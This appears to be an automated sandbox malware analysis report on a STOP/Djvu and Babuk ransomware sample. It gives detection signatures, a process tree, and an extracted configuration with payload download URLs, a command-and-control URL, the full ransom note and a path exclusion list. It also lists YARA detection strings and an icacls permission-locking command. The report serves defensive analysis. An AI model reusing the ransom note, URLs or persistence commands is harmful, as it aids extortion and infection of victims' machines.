Edit tour

Windows Analysis Report
f6ffg1sZS2.exe

Overview

General Information

Sample name:	f6ffg1sZS2.exe renamed because original name is a hash value
Original sample name:	d83013d86062dab8e194ad14da91a214d2e539d1a9fff3e29c9e2e02f4bf9d07.exe
Analysis ID:	1543353
MD5:	37118cef94032f930d9ed40fa37144fe
SHA1:	892d01b286a17e9faedec5fbda3d268842306393
SHA256:	d83013d86062dab8e194ad14da91a214d2e539d1a9fff3e29c9e2e02f4bf9d07
Tags:	exeuser-Chainskilabs
Infos:

Detection

Babuk, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found stalling execution ending in API Sleep call

Infects executable files (exe, dll, sys, html)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

f6ffg1sZS2.exe (PID: 6884 cmdline: "C:\Users\user\Desktop\f6ffg1sZS2.exe" MD5: 37118CEF94032F930D9ED40FA37144FE)

icacls.exe (PID: 3336 cmdline: icacls "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

f6ffg1sZS2.exe (PID: 1072 cmdline: "C:\Users\user\Desktop\f6ffg1sZS2.exe" --Admin IsNotAutoStart IsNotTask MD5: 37118CEF94032F930D9ED40FA37144FE)

f6ffg1sZS2.exe (PID: 2120 cmdline: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe --Task MD5: 37118CEF94032F930D9ED40FA37144FE)

f6ffg1sZS2.exe (PID: 5652 cmdline: "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart MD5: 37118CEF94032F930D9ED40FA37144FE)

f6ffg1sZS2.exe (PID: 3736 cmdline: "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe" --AutoStart MD5: 37118CEF94032F930D9ED40FA37144FE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://asvb.top/files/penelop/updatewin1.exe", "http://asvb.top/files/penelop/updatewin2.exe", "http://asvb.top/files/penelop/updatewin.exe", "http://asvb.top/files/penelop/3.exe", "http://asvb.top/files/penelop/4.exe", "http://asvb.top/files/penelop/5.exe"], "C2 url": "http://asvb.top/nddddhsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-B0FsLNO3fN\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpteam@mail.ch\r\n\r\nReserve e-mail address to contact us:\r\nhelpmanager@airmail.cc\r\n\r\nYour personal ID:\r\n0300ewgfDd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppasCrGh5jyUKr7brnuW9JD23ELHLMFFf\\\\nsfjuiJWMXYKvRfEf1dHZ1LPrO3JbOFDWg7HEYhJnXBTx+xATHsGYNpYp3MWzyqFU\\\\n0Taq\\/5KyZg6s9jVyd\\/RhZ\\/SJhO8PaI07q7rYZkmaog\\/txL58itHOmcNWRyL91iIg\\\\nD\\/0bvrccQ8M2Duw4Xi9A0hR5SlNt4pMbGPXDTF0lZfnxmrnhbP19gZb0UktzX6ic\\\\nw2LYFUXfcQfde05wNZdwISqOPLk5AtybIP2tF1Ohe1xSGPx1ug\\/pEDoWapBqmsb9\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
f6ffg1sZS2.exe	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
f6ffg1sZS2.exe	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
f6ffg1sZS2.exe	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.1838282354.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000004.00000002.1838199211.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.1924959138.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000000.1691522729.000000000084C000.00000002.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000000.00000000.1691452166.0000000000781000.00000020.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000000.1714906158.000000000084C000.00000002.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000002.00000002.2406816822.0000000000781000.00000020.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.1924565660.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000000.1718049214.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000003.00000000.1717930975.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000003.1705992620.0000000003291000.00000004.00000020.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3570:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.2406934156.000000000084C000.00000002.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000004.00000000.1824028423.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000000.1904985502.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000000.1824109990.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000000.1905060478.000000000102C000.00000002.00000001.01000000.00000007.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
00000002.00000000.1714698874.0000000000781000.00000020.00000001.01000000.00000003.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xc9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: f6ffg1sZS2.exe PID: 6884	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 6884	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3694d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x7538a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x7b8b3:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: f6ffg1sZS2.exe PID: 1072	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 1072	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 1072	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x82d74a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x128a291:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: f6ffg1sZS2.exe PID: 2120	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 2120	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 2120	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x38523:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x67ee0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: f6ffg1sZS2.exe PID: 5652	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 5652	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x2b28f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x6e52e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: f6ffg1sZS2.exe PID: 3736	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: f6ffg1sZS2.exe PID: 3736	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x30e85:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x70327:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.0.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.0.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
3.0.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.0.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.0.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.f6ffg1sZS2.exe.780000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.0.f6ffg1sZS2.exe.f60000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.f6ffg1sZS2.exe.780000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.f6ffg1sZS2.exe.780000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
2.0.f6ffg1sZS2.exe.780000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.0.f6ffg1sZS2.exe.780000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.0.f6ffg1sZS2.exe.780000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.f6ffg1sZS2.exe.f60000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.f6ffg1sZS2.exe.f60000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
